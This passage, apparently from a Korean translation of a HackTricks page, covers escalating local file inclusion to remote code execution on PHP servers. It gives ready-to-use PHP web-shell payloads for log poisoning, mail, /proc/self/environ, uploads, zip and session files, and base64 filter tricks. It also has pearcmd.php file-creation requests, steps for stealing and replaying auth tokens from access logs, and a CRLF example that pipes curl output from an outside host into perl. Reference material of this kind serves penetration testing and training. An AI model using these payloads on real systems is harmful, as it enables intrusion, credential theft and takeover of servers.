  • .., absolute roots, ๋˜๋Š” drive letters๋ฅผ ํฌํ•จํ•œ ๊ฒฝ๋กœ๋Š” ๊ฑฐ๋ถ€ํ•œ๋‹ค; generated filenames์„ ์„ ํ˜ธํ•œ๋‹ค.
  • writer๋ฅผ low-privileged ๊ณ„์ •์œผ๋กœ ์‹คํ–‰ํ•˜๊ณ , ์“ฐ๊ธฐ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ served roots์™€ ๋ถ„๋ฆฌํ•œ๋‹ค.

Remote File Inclusion

์ด์ „์— ์„ค๋ช…๋จ, follow this link.

Apache/Nginx ๋กœ๊ทธ ํŒŒ์ผ์„ ํ†ตํ•ด

Apache ๋˜๋Š” Nginx ์„œ๋ฒ„๊ฐ€ include ํ•จ์ˆ˜ ๋‚ด๋ถ€์—์„œ vulnerable to LFI๋ผ๋ฉด, **/var/log/apache2/access.log or /var/log/nginx/access.log**์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•ด, user agent๋‚˜ GET parameter์— <?php system($_GET['c']); ?> ๊ฐ™์€ php shell์„ ๋„ฃ๊ณ  ๊ทธ ํŒŒ์ผ์„ includeํ•  ์ˆ˜ ์žˆ๋‹ค.

Warning

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string โ€œquote;โ€, PHP will throw an error there and nothing else will be executed.

๋˜ํ•œ, ๋ฐ˜๋“œ์‹œ write correctly the payload ํ•ด์•ผ ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด PHP๊ฐ€ ๋กœ๊ทธ ํŒŒ์ผ์„ ๋ถˆ๋Ÿฌ์˜ฌ ๋•Œ๋งˆ๋‹ค ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๊ณ  ๋‘ ๋ฒˆ์งธ ๊ธฐํšŒ๋Š” ์ฃผ์–ด์ง€์ง€ ์•Š๋Š”๋‹ค.

์ด๊ฒƒ์€ ๋‹ค๋ฅธ ๋กœ๊ทธ์—์„œ๋„ ๊ฐ€๋Šฅํ•˜์ง€๋งŒ be careful, ๋กœ๊ทธ ๋‚ด๋ถ€์˜ ์ฝ”๋“œ๊ฐ€ URL encoded๋˜์–ด Shell์ด ์†์ƒ๋  ์ˆ˜ ์žˆ๋‹ค. ํ—ค๋” **authorisation โ€œbasicโ€**์€ Base64๋กœ ์ธ์ฝ”๋”ฉ๋œ โ€œuser:passwordโ€œ๋ฅผ ํฌํ•จํ•˜๊ณ  ๋กœ๊ทธ ์•ˆ์—์„œ ๋””์ฝ”๋“œ๋œ๋‹ค. PHPShell์€ ์ด ํ—ค๋” ์•ˆ์— ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๋‹ค.
๋‹ค๋ฅธ ๊ฐ€๋Šฅํ•œ ๋กœ๊ทธ ๊ฒฝ๋กœ:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

์•ก์„ธ์Šค ๋กœ๊ทธ๋ฅผ ์ฝ์–ด GET-based auth tokens (token replay) ์ˆ˜์ง‘

๋งŽ์€ ์•ฑ๋“ค์ด ์‹ค์ˆ˜๋กœ GET์„ ํ†ตํ•ด session/auth tokens๋ฅผ ์ˆ˜๋ฝํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: AuthenticationToken, token, sid). path traversal/LFI primitive๋กœ web server logs์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, access logs์—์„œ ํ•ด๋‹น ํ† ํฐ์„ ํ›”์ณ ์žฌ์‚ฌ์šฉ(replay)ํ•˜์—ฌ authentication์„ ์™„์ „ํžˆ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

How-to:

  • traversal/LFI๋ฅผ ์‚ฌ์šฉํ•ด web server access log๋ฅผ ์ฝ์œผ์„ธ์š”. ์ผ๋ฐ˜ ์œ„์น˜:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • ์ผ๋ถ€ ์—”๋“œํฌ์ธํŠธ๋Š” ํŒŒ์ผ ์ฝ๊ธฐ๋ฅผ Base64-encoded๋กœ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ ๋กœ์ปฌ์—์„œ ๋””์ฝ”๋“œํ•œ ๋’ค ๋กœ๊ทธ ๋ผ์ธ์„ ํ™•์ธํ•˜์„ธ์š”.
  • token ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํฌํ•จํ•œ GET ์š”์ฒญ์„ grepํ•˜์—ฌ ๊ฐ’์„ ์ถ”์ถœํ•œ ๋’ค, ํ•ด๋‹น ๊ฐ’์„ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ entry point์— ๋Œ€ํ•ด replayํ•˜์„ธ์š”.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

๋ณธ๋ฌธ์ด Base64์ด๋ฉด ๋””์ฝ”๋“œํ•œ ๋‹ค์Œ ์บก์ฒ˜ํ•œ token์„ replay:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

์ฐธ๊ณ :

  • URLs์— ํฌํ•จ๋œ Tokens๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ๋กœ๊น…๋ฉ๋‹ˆ๋‹ค; ์šด์˜ ์‹œ์Šคํ…œ์—์„œ๋Š” ์ ˆ๋Œ€ bearer tokens๋ฅผ GET์œผ๋กœ ๋ฐ›์ง€ ๋งˆ์„ธ์š”.
  • ์•ฑ์ด ์—ฌ๋Ÿฌ token ์ด๋ฆ„์„ ์ง€์›ํ•˜๋ฉด AuthenticationToken, token, sid, access_token ๊ฐ™์€ ์ผ๋ฐ˜์ ์ธ ํ‚ค๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.
  • logs์— leaked๋˜์—ˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๋Š” ๋ชจ๋“  tokens๋ฅผ ๊ต์ฒด(rotate)ํ•˜์„ธ์š”.

์ด๋ฉ”์ผ์„ ํ†ตํ•ด

๋ฉ”์ผ์„ ๋ณด๋‚ด์„ธ์š” ๋‚ด๋ถ€ ๊ณ„์ • (user@localhost)์œผ๋กœ <?php echo system($_REQUEST["cmd"]); ?> ๊ฐ™์€ PHP payload๋ฅผ ํฌํ•จํ•œ ๋ฉ”์ผ์„ ๋ณด๋‚ด๊ณ , ์‚ฌ์šฉ์ž์˜ ๋ฉ”์ผ์„ ๋‹ค์Œ ๊ฒฝ๋กœ๋กœ include ํ•ด ๋ณด์„ธ์š”: /var/mail/<USERNAME> ๋˜๋Š” /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. ๋งŽ์€ shells๋ฅผ ์—…๋กœ๋“œํ•˜์„ธ์š” (์˜ˆ: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, ์—ฌ๊ธฐ์„œ $PID = ํ”„๋กœ์„ธ์Šค์˜ PID(๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ฐ€๋Šฅ)์ด๊ณ  $FD๋Š” ํŒŒ์ผ ๋””์Šคํฌ๋ฆฝํ„ฐ(์—ญ์‹œ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž… ๊ฐ€๋Šฅ)์ž…๋‹ˆ๋‹ค

Via /proc/self/environ

๋กœ๊ทธ ํŒŒ์ผ์ฒ˜๋Ÿผ, payload๋ฅผ User-Agent์— ๋‹ด์•„ ๋ณด๋‚ด๋ฉด /proc/self/environ ํŒŒ์ผ ๋‚ด์— ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

์—…๋กœ๋“œ๋ฅผ ํ†ตํ•ด

ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋‹จ์ˆœํžˆ ๊ทธ ์•ˆ์— shell payload๋ฅผ ์ฃผ์ž…ํ•˜๋ฉด ๋œ๋‹ค (์˜ˆ: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

ํŒŒ์ผ์„ ์ฝ๊ธฐ ์‰ฝ๊ฒŒ ์œ ์ง€ํ•˜๋ ค๋ฉด ์ด๋ฏธ์ง€/๋ฌธ์„œ/PDF์˜ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ์— ์ฃผ์ž…ํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์Šต๋‹ˆ๋‹ค

Zip ํŒŒ์ผ ์—…๋กœ๋“œ๋ฅผ ํ†ตํ•ด

PHP shell์ด ํฌํ•จ๋œ ZIP ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•œ ๋’ค ์ ‘๊ทผ:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions๋ฅผ ํ†ตํ•ด

์›น์‚ฌ์ดํŠธ๊ฐ€ PHP Session (PHPSESSID)์„ ์‚ฌ์šฉํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์„ธ์…˜๋“ค์ด /var/lib/php5/sess\[PHPSESSID]_ ํŒŒ์ผ๋“ค์— ์ €์žฅ๋ฉ๋‹ˆ๋‹ค

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie๋ฅผ <?php system('cat /etc/passwd');?>๋กœ ์„ค์ •ํ•˜์„ธ์š”

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ PHP ์„ธ์…˜ ํŒŒ์ผ์„ ํฌํ•จํ•˜์„ธ์š”.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh๋ฅผ ํ†ตํ•ด

ssh๊ฐ€ ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๋‹ค๋ฉด ์‚ฌ์šฉ ์ค‘์ธ ์‚ฌ์šฉ์ž๋ฅผ ํ™•์ธ(/proc/self/status ๋ฐ /etc/passwd)ํ•˜๊ณ  <HOME>/.ssh/id_rsa์— ์ ‘๊ทผ์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”.

๋ฅผ ํ†ตํ•ด vsftpd ๋กœ๊ทธ

FTP ์„œ๋ฒ„ vsftpd์˜ ๋กœ๊ทธ๋Š” _/var/log/vsftpd.log_์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. Local File Inclusion (LFI) ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๊ณ  ๋…ธ์ถœ๋œ vsftpd ์„œ๋ฒ„์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ ์ ˆ์ฐจ๋ฅผ ๊ณ ๋ คํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ๋กœ๊ทธ์ธ ๊ณผ์ •์—์„œ username ํ•„๋“œ์— PHP payload๋ฅผ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค.
  2. ์ฃผ์ž… ํ›„, LFI๋ฅผ ์ด์šฉํ•ด ์„œ๋ฒ„ ๋กœ๊ทธ _/var/log/vsftpd.log_๋ฅผ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

php base64 filter๋ฅผ ํ†ตํ•ด (base64 ์‚ฌ์šฉ)

As shown in this article, PHP base64 filter just ignore Non-base64. ์ด๋ฅผ ์ด์šฉํ•ด ํŒŒ์ผ ํ™•์žฅ์ž ๊ฒ€์‚ฌ ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค: ๋งŒ์•ฝ โ€œ.phpโ€œ๋กœ ๋๋‚˜๋Š” base64๋ฅผ ๊ณต๊ธ‰ํ•˜๋ฉด ํ•„ํ„ฐ๋Š” โ€œ.โ€œ๋ฅผ ๋ฌด์‹œํ•˜๊ณ  base64์— โ€œphpโ€œ๋ฅผ ๋ง๋ถ™์ž…๋‹ˆ๋‹ค. ์˜ˆ์‹œ payload๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (ํŒŒ์ผ ๋ถˆํ•„์š”)

This writeup explains that you can use php filters to generate arbitrary content as output. Which basically means that you can generate arbitrary php code for the include without needing to write it into a file.

LFI2RCE via PHP Filters

Via segmentation fault

Upload a file that will be stored as temporary in /tmp, then in the same request, trigger a segmentation fault, and then the temporary file wonโ€™t be deleted and you can search for it.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

If you found a Local File Inclusion and Nginx is running in front of PHP you might be able to obtain RCE with the following technique:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

If you found a Local File Inclusion even if you donโ€™t have a session and session.auto_start is Off. If you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data, PHP will enable the session for you. You could abuse this to get RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

If you found a Local File Inclusion and and the server is running in Windows you might get RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

As explained in this post, the script /usr/local/lib/phppearcmd.php exists by default in php docker images. Moreover, itโ€™s possible to pass arguments to the script via the URL because itโ€™s indicated that if a URL param doesnโ€™t have an =, it should be used as an argument. See also watchTowrโ€™s write-up and Orange Tsaiโ€™s โ€œConfusion Attacksโ€.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

๋‹ค์Œ์€ CRLF vuln์„ ์•…์šฉํ•˜์—ฌ RCE๋ฅผ ์–ป๋Š” ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค (์ถœ์ฒ˜: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo()๋ฅผ ํ†ตํ•œ (file_uploads = on)

๋งŒ์•ฝ Local File Inclusion๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๊ณ  **phpinfo()**๋ฅผ ๋…ธ์ถœํ•˜๋Š” ํŒŒ์ผ์˜ file_uploads = on์ด๋ฉด RCE๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure๋ฅผ ํ†ตํ•œ

๋งŒ์•ฝ Local File Inclusion๋ฅผ ๋ฐœ๊ฒฌํ–ˆ๊ณ  ์ž„์‹œ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ์„œ๋ฒ„๊ฐ€ ํฌํ•จํ•  ํŒŒ์ผ์— PHP ๋งˆํฌ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ์ด Race Condition์œผ๋กœ ๊ทธ ๊ฒ€์‚ฌ๋ฅผ ์šฐํšŒํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce๋ฅผ ํ†ตํ•œ

LFI๋ฅผ ์•…์šฉํ•ด ์ž„์‹œ ํŒŒ์ผ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๊ณ  ์„œ๋ฒ„๊ฐ€ PHP ์‹คํ–‰์„ ๋ฉˆ์ถ”๊ฒŒ(hang) ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋ช‡ ์‹œ๊ฐ„ ๋™์•ˆ ํŒŒ์ผ๋ช…์„ bruteforceํ•˜์—ฌ ์ž„์‹œ ํŒŒ์ผ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

LFI2RCE via Eternal waiting

Fatal Error๋กœ

๋‹ค์Œ ํŒŒ์ผ๋“ค ์ค‘ ์–ด๋А ํ•˜๋‚˜๋ฅผ includeํ•˜๋ฉด /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (๊ฐ™์€ ํŒŒ์ผ์„ 2๋ฒˆ includeํ•ด์•ผ ๊ทธ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค).

์ด๊ฒŒ ์–ด๋–ป๊ฒŒ ์œ ์šฉํ•œ์ง€๋Š” ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ ๊ฐ€๋Šฅ์„ฑ์€ ์žˆ์Šต๋‹ˆ๋‹ค.
PHP Fatal Error๋ฅผ ์œ ๋ฐœํ•˜๋”๋ผ๋„ ์—…๋กœ๋“œ๋œ PHP ์ž„์‹œ ํŒŒ์ผ์€ ์‚ญ์ œ๋ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ